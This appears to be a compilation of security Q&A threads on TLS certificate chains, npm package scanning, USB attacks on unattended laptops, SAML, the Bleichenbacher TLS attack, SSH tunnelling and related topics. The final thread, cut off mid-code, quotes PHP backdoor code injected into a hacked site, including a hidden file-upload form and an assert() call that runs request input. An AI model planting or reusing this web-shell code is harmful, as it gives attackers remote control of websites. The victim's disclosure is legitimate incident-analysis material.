Is there a way to differentiate the certificates that came as part of the certificate chain from the ones already in the trust store? OpenSSL shows the following certificate chain for example.com:443.

$ openssl s_client -connect example.com:443 < /dev/null | head -10
depth=1 /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert SHA2 High Assurance Server CA
verify error:num=20:unable to get local issuer certificate
verify return:0
DONE
CONNECTED(00000003)
---
Certificate chain
 0 s:/C=US/ST=California/L=Los Angeles/O=Internet Corporation for Assigned Names and Numbers/OU=Technology/CN=www.example.org
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert SHA2 High Assurance Server CA
 1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert SHA2 High Assurance Server CA
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA
---
Server certificate
-----BEGIN CERTIFICATE-----

The certificate chain has the server certificate issued to www.example.org and an intermediate certificate that belongs to DigiCert SHA2 High Assurance Server CA.

However, the certificate chain does not contain the self-signed root certificate fo DigiCert High Assurance EV Root CA.

But both Firefox and Chrome also show the root certificate as part of the certificate chain. That's because these root certificates come bundled with the browsers.

I want to know if there is any way in Firefox or Chrome to figure out that only two of the three certificates in the displayed certificate chain belong to the certificate chain provided by the server in the TLS handshake? Perhaps some sort of visual indicator or some other thing that differentiates the certificates that appeared in the certificate chain from the ones that are part of the browser's trust store?

You can get the full list of certificates sent by the server by connecting to the server and grab the chain with OpenSSL:

openssl s_client -connect www.google.com:443

That will display (among other thing) the whole chain as sent by the server

That is, however, useless for assessing the security of your connection (it's useful for debugging, though).

Why is that info useless? Well, there is two possible scenarii here:

The trust anchor used is safe. In this case, there is no way for an attacker to inject an invalid certificate in the trust chain: if a given certificate is in the chain, it has been (directly or indirectly) signed by the root and therefore vetted by that root. Since you trust that root (that is the whole point here), you can trust that certificate. Repeat for every cert in the chain and your have full trust.
The trust anchor is compromised in ANY way. Then you cannot trust ANY certificate that it has issued no matter where they come from. These certificates could have been replaced with exactly identical ones with only the public key part changed and you wouldn't be the wiser.

In none of these case will knowing where the intermediate certificates come from help you decide if a specific connection can be trusted, therefore that information is useless from a security perspective.

I'd like to add two things here:

That explanation assumes that there is no flaw in either the cryptography or the software used. If this assumption isn't right, then all bets are offs (but this isn't exactly the context of the question).
There is a very special case that works in a different way: certificate pinning. In this case, you do not trust a trust chain but hard code (in some way or another) the leaf certificate. In this case, the trust chain is meaningless because that is not the way the trustfulness of the connection is asserted.


How is the create-react-app package tree properly sanitized? React, and it's application creation script, create-react-app, are popular packages nowadays... and with good reason: React is a rock-star framework.

From a security perspective, sanitizing all the packages that create-react-app installs seems to be a massive undertaking.

I just did a quick count of installed packages, by entering npm ls into the command line of my installation home, and counted 2226 packages! :O Furthermore, that was just local packages, and does not include global.

How is this massive package tree properly sanitized?

I suppose there is a greater question here, of how to scan npm-installed packages, and their dependencies.

Does it make sense to run each and every one of these packages through a scanner?

You can use https://snyk.io/ scanner.

The dependencies of applications like react are really complex. There are same packages in multiple versions used. Also, such projects when they evolve they add more npm modules which makes it even more complex. When adding custom modules, it's good to make sure that they are in the most recent version, they are used by others, they have been recently updated etc.


Generating a CSR for 32 bit private rsa key I used an OpenSSL 1.0.1k 8 Jan 2015 version to generate a 32-bit RSA key, and I tried to generate a CSR for the key

$ openssl req -new -key privatekey.pem -out csr.pem

139645847348928:error:04075070:rsa routines:RSA_sign:digest too big for rsa key:rsa_sign.c:127:
139645847348928:error:0D0DC006:asn1 encoding routines:ASN1_item_sign_ctx:EVP lib:a_sign.c:314:

openssl only allows me to generate no smaller than 384-bit. Is there another way for me to generate a CSR for my private key?

You cannot encrypt anything with RSA which is larger than the key size (minus some padding and header) which means that you cannot sign anything if the signature algorithms results in a value larger than the key. A hash digest is 256 bit for SHA-256 or 192 bit for (already insecure) SHA-1, i.e. way larger than 32 bit.

Apart from that: why do you want to use such terribly insecure small key anyway?


What are the potential risks of leaving a device in public, but locked? Let's say you're in a public café, or conference, where you trust your device won't be stolen if you go to the bathroom for 5 minutes, but you don't trust it might not be tampered with.

What are the potential security risks I might run into here, assuming I lock/log off my laptop's (windows / mac / linux) user session, maybe even turn it off?

Everything
I reference the 10 immutable laws of security, especially #3:

If a bad guy has unrestricted physical access to your computer, it’s
not your computer anymore

Of course a computer sitting unattended at a coffee shop for 5 minutes isn't going to be as vulnerable as a computer that spends a year at NSA headquarters, but you would be surprised how quickly someone with physical access can cause trouble.
This is a bit broad and I'd like to avoid a book for an answer, so I'm going to just focus on one class of attacks that most consumer laptops are vulnerable to: USB-based attacks.  USB is fun because a USB port can be used for almost anything.  This has lead to the classic form of an evil maid attack, whereby an attacker simply plugs a device into your USB port that promptly owns your computer.  This can take a number forms, but I'll list just a few:

The USB device pretends to be a keyboard and attempts to inject commands into your machine (possibly starting with a bruteforce of your lock screen)
The USB device pretends to be a high-priority network adapter, injecting long-living DNS rules into your networking setup, effectively implementing a permanent MitM attack on target websites for your machine (because of how network devices work this is typically possible even for locked computers)
The USB device charges a bank of capacitors from your power supply and then sends a high voltage charge back, instantly frying your entire laptop.

Here is a longer list, but since this is an entire class of attacks options will change and google is your best bet here.  Many of these attacks require a device to be plugged in for just seconds.  They can leave your computer completely compromised or just plain dead (aka the most effective DoS).  Is this likely?  Probably not.  Is it possible though?  Absolutely, with little effort, so long as someone is walking around with a device in their pocket.


What is the purpose of AudienceRestriction in SAML 2.0? Having read through the core specification for SAML 2.0 section 2.5.1.4 (page 23) I still cannot fully understand the purpose of the AudienceRestriction tag and what problem it is attempting to rectify.

My, probably incorrect, interpretation of the AudienceRestriction tag is that it facilitates a sort of intention statement declaring for what specific URI with the SP a given assertion is valid.

Would very much appreciate if someone could explain (a) the purpose of the tag and (b) a typical use-case scenario and (c) any potential implications of it's exclusion and/or misuse.

SAML 2.0 AudienceRestriction is pretty much what you have gathered. It is a validity condition for an assertion. In particular it declares that the assertion's semantics are only valid for the relying party named by URI in that element.

The purpose is to restrict the conditions under which the assertion is valid, and to optionally provide terms and conditions relating to such validity. So the semantics of the element have to do with the scope and conditions of the trust relationships. From SAML 2.0 Core, Section 2.5.1.4(PDF):

  Although a SAML relying party that is outside the audiences specified
  is capable of drawing conclusions from an assertion, the SAML
  asserting party explicitly makes no representation as to accuracy or
  trustworthiness to such a party...

  ...the <AudienceRestriction> element allows theSAML asserting party to
  state explicitly that no warranty is provided to such a party in a
  machine- andhuman-readable form. While there can be no guarantee that
  a court would uphold such a warrantyexclusion in every circumstance,
  the probability of upholding the warranty exclusion is
  considerably improved...

I.e., it's not a code thing but a human (risk management/warranty/trust) thing. If it's used incorrectly modules tend to throw errors - most SP's expect themselves to be listed in the AudienceRestriction.


What is the impact of RSA key's size on CPU load? I use ssh connection encrypted and compressed.

If I use small RSA keys or very big RSA keys, what is impact on CPU load for compression, for decompression and on bandwidth (encrypted file size) ?

In SSH, RSA keys are used only during the initial connection setup. Once you are connected, size of RSA key has no consequence whatsoever on CPU and bandwidth usage for transferring files. The initial handshake uses asymmetric algorithms (RSA, Diffie-Hellman) to handle authentication and setup of a shared secret, which is then used with symmetric cryptographic algorithms to encrypt and protect the remaining of the data exchange.

During the initial connection setup, the server will send its public key to the client and compute a signature, that the client will verify. If the client wants to be authenticated with its own RSA key pair, it will also compute a signature (verified by the server) and send the public key over the wire. A 4096-bit RSA key is twice larger than a 2048-bit RSA key, and signatures have the same size as the key, so if you have a 2048-bit RSA key and changes it into a 4096-bit RSA key, then the relevant messages in the initial handshake will be enlarged by a total of 512 bytes (+256 bytes for the key itself, and +256 bytes for the signature). I repeat, this is only for the initial handshake; it changes nothing for the gigabytes of files that you thereafter sent in the connection.

As for CPU consumption: doubling the key size more-or-less multiplies by 8 the cost of generating a signature. However, there again, this cost is only for the initial connection, and a small PC can already compute hundreds of 2048-bit RSA signatures per second.

Compression is done on the data before encryption and is in no way impacted by any cryptographic element.


Unknown MAC in network A few days ago, I noticed an unknown MAC address in the statistics page of my home router. The OUI lookup yields Cisco as manufacturer. However, I don't have such a device in my network -- actually, I wrote down every MAC address, I know.

This device uses the address 10.137.63.254 in an 10.1.0.1/8 network, where the DHCP area is 10.0.3.1/24. The traffic of this IP is very small, my router reports packets of ~74 bytes every ~5 minutes (approximately, I think the interval is random). nmap reports the host as down, but after excessive scanning the IP changed and then returned to the first one.

I figured out that the traffic only appears, when my Win7 laptop is connected to the network. However, I couldn't find any sign of a Cisco NIC. The WLAN and LAN adapters are Intel and MSI NICs. Wireshark doesn't record relevant traffic when listening on the active NIC.

Is there any way to figure out what is going on?

EDIT: The MAC is 00-05-31-F8-C0-65.

EDIT: While playing with the firewall, I couldn't figure out which program was causing this. I have some suspicion, but since the program was really ''shy'', I gave up at some point and reinstalled Windows from a clean backup. Any idea, how to diagnose such problems, is still greatly appreciated.

Perhaps try this.  Isolate the network to only the laptop and the router producing the statistics in question are connected.  If the traffic onf concern is across WIFI, disconnect all network cables.  If across wire, shut down WIFI on both devices and watch to see it is not re-enabled.

Run Wireshark with a filter that logs only items that match NEITHER normally expected MAC.  Let it run for the duration needed to see the pattern.  If you can't figure it out from that, try replacing the NIC and different routers.


New TLS encryption-busting attack also impacts the newer TLS 1.3, is ECDHE_RSA also affected? February 9, 2019: Source: New TLS encryption-busting attack also impacts the newer TLS 1.3

"Seven researchers from all over the world found --yet again-- another way to break RSA PKCS#1 v1.5, the most common RSA configuration used to encrypt TLS connections nowadays. Besides TLS, this new Bleichenbacher attack also works against Google's new QUIC encryption protocol as well."

Is TLS_ECDHE_RSA, and DHE_RSA, also affected? Or only TLS_RSA? If not please explain why.

Windows update example:

fe2.update.microsoft.com.nsatc.net offered
TLS_ECDHE_RSA_WITH_AES128_GCM_SHA384
x25519

EC Diffie-Hellman Server Params
                Curve Type: named_curve (0x03)
                Named Curve: x25519 (0x001d)
                Pubkey Length: 32
                Pubkey: e3267867db92a040eae6ea57bdb8e042680fa2e95da1e983...
                Signature Algorithm: rsa_pkcs1_sha1 (0x0201)
                Signature Length: 256

This article is poorly written. First, by this time, it's old news: the attack was made public over two months ago. Oddly there doesn't seem to have been a thread about this attack here before, but there was one on Cryptography Stack Exchange which you can read for an introduction to how the attack works.

A second way in which this article is misleading is that this attack does not impact TLS 1.3 in itself. It impacts servers that support TLS 1.3 and older versions, if the attacker manages to downgrade the connection.

“The most common RSA configuration used to encrypt TLS connections” is also misleading. It's technically true, in that it is the only TLS configuration that uses RSA for encryption, but in fact most TLS configurations that use RSA use it for signature, not for encryption.

The attack works only against TLS_RSA cipher suites, i.e. against cipher suites that have RSA in their name but not DHE or ECDHE. It attacks RSA decryption. Cipher suites that use RSA signature, or that don't use RSA at all, are not affected.

In order to perform the direct attack, the attacker has to convince the victims to use TLS ≤1.2 with an RSA-decryption cipher suite. It can often do that by hijacking the very beginning of the connection (it's a man-in-the-middle attack) and telling the client that it only supports TLS 1.2 (or some earlier version) and only RSA-decryption cipher suites. The client then sends a value encrypted with the server's public key, and the attacker must decrypt it to continue talking to the client. Normally decrypting the value requires the private key, but if the server is vulnerable to the attack, then the attacker is able to trick the server into decrypting that value by making many connections to the server with an RSA-decryption cipher suite, sending carefully-chosen ciphertexts and observing the precise timing of the server's response.

Even if the client refuses to use RSA-decryption cipher suites, or indeed even if the client only supports TLS 1.3, it may still be vulnerable if the server uses the same RSA private key for decryption and for signature. To perform this variant of the attack, the attacker is once again a man-in-the-middle, and it uses an RSA-signature cipher suite to talk to the client. At some point the attacker needs to sign a value with the server's private key, and it does this as above by making many connections to the server with an RSA-decryption cipher suite.

To protect against this attack, you can do any of the following:

Keep your server up to date. This is the best way to protect against every attack.
Disable RSA-decryption cipher suites on the server.
Disable RSA-decryption cipher suites on the client and not use the same RSA private key for decryption and signature on the server.


Is hardware approved for classified government use more secure? I've always been worried about malicious hardware or firmware in off-the-shelf computer equipment (e.g. the malware in particular Lenovo computers that reinstalled itself from the Windows Platform Binary Table), so I try to support projects like Coreboot. That's not always an option unfortunately. But I wonder if there is any wisdom in buying products that have been certified for classified government use. If I see the President or very high-level military staff using a particular laptop or smartphone model, does that mean that model has been thoroughly inspected for malicious firmware? Or does that convey no useful information because hardware approved for classified use is extensively customized for more security?

If I'm right: is there a list of up-to-date approved hardware anywhere online for the public to see?

Government (at least the USG) uses different approaches to hardware and software. For example FIPS: "FIPS is a U.S. government computer security standard used to accredit cryptographic modules" EAL: "Evaluation Assurance Level (EAL1 through EAL7) of an IT product or system is a numerical grade assigned following the completion of a Common Criteria security evaluation, ... The EAL level does not measure the security of the system itself, it simply states at what level the system was tested." and other standards. Since you're looking for hardware, I would research FIPS Accredited, and or EAL (vendor search here)


Public access to IIS Web server inside company network, for one specific service I'm developing a mobile app which needs to access a specific server inside a company network, and should be able to do so from anywhere in the world. The app communicates via HTTP to a Web service on the server. The first call is a login message and and successful login returns a session ID that is used to retrieve data.

How can the infrastructure in the company be setup to allow the app to always reach the server, yet at the same time be secure?

The Web service runs in an IIS and the security team doesn't seem to like the idea to make the Web service available to users outside the company network as is. The idea right now is to introduce a TMG in the middle between the app and the Web service, but more suggestions are very welcome.

I'm looking for a solution that emphasize simplicity and ease of access from the user perspective.

I would personally use a VPN and make the service accessible from the local network (VPN connections would appear to be local).

When using a VPN connection everything is encrypted and you require credentials to use the VPN. These credentials could change on a weekly, monthly basis, etc, etc.

Very short answer but it is very black and white.


How safe is a standard wireless keyboard from a MITM attack? And are there any mitigations except using a wired keyboard?

Here is something interesting from Bruce Schneier's blog:

  Many wireless keyboards have a security vulnerability that allow
  someone to hack the computer using the keyboard-computer link.
  (Technical details here.)

  An attacker can launch the attack from up to 100 meters away. The
  attacker is able to take control of the target computer, without
  physically being in front of it, and type arbitrary text or send
  scripted commands. It is therefore possible to perform rapidly
  malicious activities without being detected.

You can find on market secure wireless keyboards, which are using 128-bit AES encrypted wireless connection back to your computer, so you can check for that.

Another useful information from Logitech whitepaper:

  Encryption

  Computer keyboards process very private or sensitive information like
   passwords, credit card numbers, or personal messages. Since the range
   of an Advanced 2.4 GHz device may reach several tens of meters in an
   open environment, it is critical to take adequate measures to prevent
   eavesdropping.

  Advanced 2.4 GHz applies state-of-the-art encryption to
   the keyboard reports. Since the displacements of a mouse would not
   give any useful information to a hacker, the mouse reports are not
   encrypted.

  Encryption is limited to the wireless link between
   keyboards and the receiver. Encryption is totally transparent to the
   software which receives clear data from the receiver over the USB.
   This means that the Advanced 2.4 GHz encryption provides no protection
   against hackers who are able to get physical access to the PC, or who
   are able to remotely install spy software on the PC.

  The encryption
   applies to all standard keyboard keys (a, s, d, f...) and modifiers
   (Shift, Ctrl, Alt...). The multimedia keys (Play, Pause, Mute...) that
   may be implemented in some keyboards are transmitted in clear text.

  Encryption Algorithm

  The encryption method consists of hiding the wireless messages with a
  cryptogram. The selected algorithm is the AES 128-bit cipher, which
  has been adopted as an encryption standard by the US government. As of
  today, the only known way to crack it is to try all possible keys.
  Even if it was possible to test 1 billion keys per second, billions of
  years would be necessary to try all combinations.

  AES is based on symmetric 128-bit keys, “symmetric” meaning that the
  same key is used to encrypt a message in the keyboard and to decrypt
  the message in the receiver.

  Generation of Encryption Keys

  When a device that requires encryption is paired to a receiver, the
  pairing process includes the generation of 128-bit encryption keys.
  The same unique key is constructed both in the keyboard and in the
  receiver based on random values exchanged during the pairing
  procedure.

  Note that the encryption keys are never transmitted over the air. By
  spying the packets exchanged during the pairing process, a hacker
  would not be able to find the encryption keys without knowing the
  secret algorithm implemented to construct them.

  The initial encryption keys are programmed at the factory when the
  devices are paired to their receiver.

  The encryption keys are stored in a non-volatile memory area of the
  keyboard and receiver. As this is hardware encrypted, software cannot
  access the keys.

I'm not promoting Logitech keyboard, I just took an example of how they implemented AES encryption with wireless keyboard.


Should I install my subordinate Certificate Authority on the domain controller? Why? I must install a PKI in my organization. I work in a windows environment. I already set an offline CA. I must now install a subordinate CA. I have the choice between installing the subordinate CA on a domain controller or on a server running other services (WSUS, ...).
I would like to know from a security standpoint what's my best option and why?

The simple answer, ignoring any operational constraints?

Situation One: If the CA's security is (1) ROUGHLY AS important for security as the domain controller (2) you have enough spare capacity and (3) you don't need to reduce security for the DC by giving anyone special access to the CA or changing firewall rules as a result, then just run it on the domain controller because:

Presumably not too many people have access to the DC and it's well secured anyway.
The CA will normally be dependent on the DCs security anyway, so if the DC gets hacked it's game-over for the CA.

Situation Two: it's LESS important than the CA.  It's for convenience somewhere, or testing and the certificates aren't critical for your security. Then run it on a separate server.  Because:

You won't undermine the security of the domain controller with the extra complexity (running extra code always increases the security risk - in the jargon "it increases the attack surface").
You can give peoples access to manage the server without having to give them rights to the domain controller.

Situation Three: It's WAY more important than the DC security. For example, you are running a commercial CA.

Use as much segregation and monitoring as possible.  Probably a separate domain entirely.
Get some security professionals in!


Are security flaws acceptable if not much harm can derive from them? Recently, I have discovered a security flaw in a business website. This website has a password-protected "Partners Area", and like many websites it provides a form to reset the user's password.

When a user asks for a password reset for his nickname, a new password is sent to their email address and that password becomes immediately effective. The problem is (if this wasn't already a problem) that the new password is a fixed one, for all users. So an attacker can easily get access to any account.

Now, the only operations a user can do within their Partners Area are:

View/change email address
Change password
Download some manuals and utilities (it's definitely not classified stuff)
Fill out a repair form (then the process will continue by email)
Download logos and images for marketing purposes

The only things I see for a malicious attacker to exploit are:

Prevent future access to a legitimate user (which will probably be able to reobtain right after a phone call)
Discover information about who the company customers are (guessing random nicknames and looking at their email address). Anyway, it's not something someone would keep as a secret.

Even if I am always very disturbed by things like this, in this case I must admit that it might not be a big deal. Are flaws like this acceptable compromises, in a context where not much harm can be caused?

Since I think someone misunderstood a detail: that website belongs to an external company. I have no role in the development of that website, and no control over any decision about it.

Yes. This is a problem - a big problem.
Lately I found a design flaw in a business' webshop that allowed me to insert innocent notes in other visitors' charts.

Seems innocent, and only annoying, until I looked further and found that I was also able to insert Javascript code (XSS) into those notes. So in other words, I could exploit XSS on every visitor's chart.
I made a quick PoC showing them how I could easily hack the computer of any visitor (in this case myself, it was a PoC) using that design flaw, XSS, BeEF, and Metasploit.

So even the smallest flaw may result in a big risk after all.

Besides that, who says that the error you found is the only one the developer of that website made?
Maybe he also made tons of other mistakes.

Reporting would be the best you could do - even if it looks unnecessary.


Detect PC Boot from Live CD is it possible to detect a boot-up via live CD (eg. Ubuntu, Debian, Tails ...) that happened in the past? If yes, where can this information be obtained?

I suspect my PC has been booted through a live CD, and got files manipulated,deleted ...

In general, it's possible for a live CD to boot a computer without leaving any traces. In some cases, this is an important feature of them - forensic imaging discs, for example, could change evidence if they wrote anything to the internal drives (and even then, professional forensic investigators usually copy using a hardware write-blocker if at all possible).

Therefore in this case, your best bet wouldn't be to look for evidence of booting from a live CD, but to look for evidence of changes to the filesystem which seem unexpected - files modified on a date that you were not using the computer (e.g. weekends, for an office PC), or at a time that the computer should have been off. You could also run an undeleter, and see if anything you don't expect to have been deleted shows up.


W3af and automated vulnerability scanners vs manual testing How effective are tools such as w3af in looking for web app vulnerabilities compared to looking for vulnerabilities manually? Are they able to find all vulnerabilities from OWASP top 10 such as reflected xss, persistent xss, sqli, lfi/rfi, and unrestricted file upload? Or will some vulnerabilities fall through the cracks and remain undiscovered?

Manual testing:

Slow;
Humans can forget some important tests;
Complex, sophisticated and creative testing.

Automated testing:

Fast;
Tests a lot (thousands) of vulnerabilities (never forget a test);
Easily repeatable after remediation;
"Cake Recipe" (will just test what it was designed to test).

Based on the above points, we can say that each type of testing have its own positives and negatives sides.

  Are they able to find all vulnerabilities from OWASP top 10 such as
  reflected xss, persistent xss, sqli, lfi/rfi, and unrestricted file
  upload?

A lot of Web Security Scanners were designed to find all the above types of vulnerabilities, but nothing can guarantee that they will find all instances of the above vulnerabilities.

  Or will some vulnerabilities fall through the cracks and remain
  undiscovered?

Some vulnerabilities can fall through the cracks, no tool is perfect.


How secure is socks5 proxy over ssh? At work we are all using Windows 7+, with full administrative privileges. Each PC has a dedicated IP and a proxy is used. It is set as a HTTP proxy and the option to use this for all types of connections is checked.

I have at home a "ddwrt" router with a SSH server. I use PuTTY to establish a SSH connection to my home router using port 443. PuTTY is configured for socks5 proxy tunnelling, and Firefox is enabled to send DNS requests over SSH, and Chrome also (I checked dnsleaktest, and my home configured google public DNS is used, not the company one, no DNS leaks here). I had to set company proxy in Putty to have access to Internet.

Everything is working fine, and I think I'm safe on this, but the proxy I had to set in Putty bothers me a little, as I'm not sure if that proxy can see the traffic that comes from Putty? Or the connection is still encrypted, no matter if that goes over the company proxy, the socks5 tunnel is established through the company proxy.

I guess they see the IP address putty connects to (over port 443, not 22), but that is all, they do not see anything else, just the encrypted stream between my router and PC at work.

I doubt they use any special proxy to incorporate Man in the Middle attack, it would be out of their knowledge, and guess the software would be too pricey for them.

What do you think?

Please spare me of answers that I should not use work for personal stuff, and etc., I do this with the knowledge of my boss, who is sick of the IT stuff and she basically instructed me to make access to social sites.

As for the DNS: normally, the principle of the SOCKS protocol is that when a client wants to connect to server example.com on port 80, it sends through the tunnel the message "please open a connection to port 80 of example.com and forward the bytes back and forth", so the name example.com will be resolved on the other end of the tunnel (here, your home router). As @M'vy indicates, Firefox can do otherwise, in which case one has to assume that the SOCKS message will talk about the resolved IP address.

As for the corporate proxy, it works as it would work for SSL: the browser sends a "CONNECT" order to the proxy, with a target name and port, and asks the proxy to propagate bytes in both directions. In your case, the corporate proxy believes that it is forwarding some SSL connection, but in fact this is some SSH. The proxy is still "on the outside" cryptographically speaking; it won't see the data, and, in particular, it won't even know which sites you are browsing. The corporate proxy sees one quite busy connection, between your desktop system and your home router.

Note, though, that SSH and SSL protocols do not use the same kind of headers, so the corporate proxy may notice that what goes through it is not SSL (even though it uses the traditional HTTPS port 443) but really SSH. Depending on the surveillance tools and the sysadmin efforts, the proxy may decide that things are fishy and raise an alert.


Antivirus for scanning anonymous file uploads Since I have no experience with AV solutions on Unix-like environments, I would need help with suggestions on something that can be suitable for scanning files that are uploaded by anonymous users through a Web application.

I'm mostly interested in providing an additional service to users to show that we care about what we distribute to them through our service, but nothing that would have to be 100% secure--we'll leave the 100% strive up to our user's discretion.

It would be great if it was something that's fast and resource efficient, preferably that could be used to scan single files passed through command-line arguments, but that could also work as a long-running process that we could access from several threads.

A lot depends on which unix like environments you're talking about. Linux probably has the best support for AV engines - but the open-source ones will run on any posix environment.

ClamAV
FRISK F-Prot
Kaspersky
OpenAntiVirus.org ScannerDaemon
MKS AntiVirus
Sophos Sweep
Symantec AntiVirus Engine
Trend Micro

Personally, I'd go for Clam Av. Not only has it got a very good fingerprint database, and update mechanism, but (perhaps not surprisingly) it's well documented as tool for integration into applications.


Nikto nocache option I found an option

-nocache : Disable response cache

in here

https://cirt.net/nikto2-docs/options.html

But when I tried it, I always get this error

  Unknown option: nocache

So it appears the cache functionality was removed, I guess the documentation for the option wasn't removed. See the following entry in the change log which states:

  Completely remove caching functionality as it was near worthless and added a lot of overhead

https://github.com/sullo/nikto/blob/40867b08f5a9c5c8897da92c1d23ff3d1a446b4c/program/docs/CHANGES.txt#L49

Why did you want to use this option? What is the problem you're actually trying to solve?


Best practice for securing DB passwords for multiple web apps? I'm working on upgrading a "legacy" infrastructure where a handful of PHP, Rails and Perl (CGI) applications are in use. Historically, these applications have been written with the database credentials sprinkled into all the source code as program variables.

We are discussing ways to change this. One proposal suggests moving all DB creds to the Apache /etc/apache2/envvars file. Another proposal suggests use of Hashicorp's vault (don't quite fully understand how this beast works).

The envvars method seems better, but I assume this would mean that any compromised application would have full access to any other applications DB creds. I'm wondering if a better approach would include some sort of partitioning for applications where (bad example, but it happens) Bob's compromised 'todo list' wouldn't neccesarily compromise the credentials for an HR application by way of Apache environment variables.

Vault is.. weird. From what I can tell, it creates temporary DB credentials in the database. I don't fully understand how it works, so I can't tell if it's a good fit.

What's the best practice for protecting DB credentials on a web server? Anything is better than leaving them in source code but if we're going to make a big change here, I'd rather not have to do it again due to misinterpretations. I've looked over links here and here with little discussion about it.

There're many tools/systems that you can use for securing production secrets. Many of them will leverage some kind of KMS (key management system) and/or HSM (hardware security modules) to store the master key(s) that can be used by aplications to access secrets in production environments. See some of the great open-source solutions.

For example Lyft's Confidant is a secret management system that stores encrypted payloads in DynamoDB. The master key(s) are managed and access controlled by AWS KMS. HashiCorp Vault is also a solid option (but perhaps the feature set is too comprehensive). It offers similar set of features plus higher-level features such as auto mysql DB credential rotation. You should be able to pick'n choose based on your use cases and production setup.


Encryption with Jasypt for Java I have a web application and I am trying to send encrypted data into the database. The web application is in Java and database is in MySQL. My table fields are normal stuff like varchar for String, int for integer and so on.

I have to say I am new to Cryptography so I was looking for easy to implement API for now until I fully study cryptography. Then I came across Jasypt.

I tested this API and the good thing is it is converting binary to Base64 String. However I have the following questions.

Does Jasypt support Authenticated Encryption? If so, for what algorithm?
Jasypt last publish date is 25 Feb 2014. Does this mean its encryption methods are now "out dated" ? (I guess probably now)
If we use a String encryption algorithm in Jasypt, is it sufficient enough to protect sensitive information like credit card numbers and health records? (I know no protection is "best" and will be "unbreakable" forever, that's why I used the word "sufficient enough")

You are probably best off just using the Java Cryptographic Extensions yourselves - as you say, Jasypt is fairly stale and is, itself, a wrapper around various JCE implementations.

OWASP (if you don't know OWASP, get to know them - awesome non-profit with tons of security advice) has a nice page on using JCE directly - check out the AES examples : https://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions#AES_Encryption_and_Decryption

That is probably sufficient for what you are doing. AES-128 is considered secure short of quantum computing.


What is investigated after a possible hack on servers? My question follows recent news of the Sony hacking incident. I was wondering what type of investigation is conducted by a security firm or the FBI. For example, if the network servers were hacked, what is the first thing done? Do they shutdown all server networks, to stop any potential transmission. If the breach was caused by a malware, then how can they effectively contain it during their analysis? Using sandbox has its limitations, would they run all current data on a new physically separated machine, as well as a virtual machine?

I have a feeling this question might become too long to answer, but short steps will suffice and if possible links to more detailed processes, if available. Ultimately, the answer is finding the source of the hack, but what steps are done in the investigation leading up to the identification of the source of the hack.

This is largely dependent on the organisation's policies, but what you're talking about is Incident Response (IR), which falls under the umbrella term of Computer Security Incident Management.

The response that is taken usually depends on the type of attack, the known threat actors (if any), and the individual systems or network regions that are known to be compromised. These are important distinctions - you wouldn't take the same actions with a compromised receptionist's workstation as you would a compromised life support system or industrial control system.

The main steps in IR are:

Alert - Someone notifies the team that a potential breach has occurred.
Classification - A first level responder performs a preliminary analysis to identify the level of threat, and takes the prescribed IR steps for the class of threat (e.g. normal, critical, etc.)
Action - Isolation and cleanup of the affected systems, with steps taken to ensure any backdoors are closed and the original hole is patched.
Investigation - Identification of how the threat appeared, attribution of the attackers, etc.

You can then split these down and rearrange them as they pertain to a particular situation. In some cases, the organisation may be solely interested in recovering and continuing, so the investigation phase is minimal or even skipped. In other cases, legal process may be considered, so special care is taken to provide a strong chain of evidence using tools known to be approved by the local courts. Sometimes the action step doesn't involve cleaning the machine at all, in an attempt to log and monitor the behaviour of the attackers in realtime to gain stronger attribution.

In short: the answer is that it depends on the organisation and the situation. IR is rarely black-and-white.


Can BIOS/UEFI change OS code? I know that the OS is the boss of programs (once OS is loaded). Is BIOS/UEFI the boss of the everything before OS is loaded? Can an OS be a sitting duck for any BIOS/UEFI related malware?

In other words, can BIOS/UEFI delete or modify OS and other code?

Technically, yes.

The answer, in simple terms, is "yes" to all of your questions.

The firmware (BIOS or UEFI) loads before the operating system. Typically, it looks for a boot sector on your storage devices (internal HD, CD/DVD, USB drives, etc). Then it loads the bootloader specified in the boot sector into memory and passes control to that boot loader, which will get the rest of the operating system up and running.

If the firmware is infected with malicious code, it can read/write anywhere. File permissions are implemented by the OS kernel or the file system driver, so they aren't a concern at all in this situation. This means that you are free to tamper with the OS files as well.

But also, no.

In modern systems, this is very difficult to accomplish, however.

The firmware controls access to the EEPROM, which is where its code is stored. Modern motherboards will usually only accept firmware updates which have been digitally signed by the manufacturer. You would have to defeat this mechanism first if you wanted to tamper with the BIOS/UEFI.

Newer operating systems can validate digital signatures on their files.  If you tamper with their files, the digital signature will no longer be valid. E.g., if you enable SecureBoot on Windows 10 and change something it will refuse to boot.

Obviously, you could edit the OS to strip out the digital signature checks if you control the firmware, but it is very difficult to infect firmware for several reasons.

In addition to the built-in protections, the firmware on most motherboards is customized for that individual model or, at most, that particular product line. Writing a firmware hack that applies to a wide range of motherboards is extremely difficult---and may be practically impossible.

All things considered...

It is theoretically possible to tamper with a system in this fashion. The potential for abuse is well understood, however, so the danger is addressed with reasonable technical measures.

People with physical access to your machines could flash the EEPROM chips containing the BIOS code with custom-programmed malware. It takes a lot of resources to orchestrate this, so the average computer user is not at risk.

This type of attack is easily within reach of governments and large criminal organizations. Governments and large firms are at risk, and they generally buy from trusted vendors or certified resellers to reduce the risk of acquiring compromised equipment.


My site was hacked and has injected code on index.php and 404.php Here is the code injected to index.php

if(@isset($_GET[bots])){
    echo '<form action="" method="post" enctype="multipart/form-data" name="silence" id="silence">';
    echo '<input type="file" name="file"><input name="golden" type="submit" id="golden" value="Done"></form>';
    if($_POST['golden']=="Done"){
        if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){
            echo'+';
        }else{
            echo'-';
        }
    }
}elseif(isset($_REQUEST['bot']))assert(stripslashes($_REQUEST[bot]));
else exit;

and here is the code injected to 404.php:

@ini_set('display_errors','off');
@ini_set('log_errors',0);
@ini_set('error_log',NULL); error_reporting(0);
@ini_set('set_time_limit',0);
ignore_user_abort(true);
if(@isset($_POST['size']) and @isset($_FILES['img']['name'])) {
    @ini_set('upload_max_filesize','1000000');
    $size=$_POST['size'];
    $open_image=$_FILES['img']['name'];
    $open_image_tmp=$_FILES['img']['tmp_name'];
    $image_tmp=$size.$open_image;
    @move_uploaded_file($open_image_tmp,$image_tmp);
    echo "<!-- 404-NOT-FOUND-IMG -->";
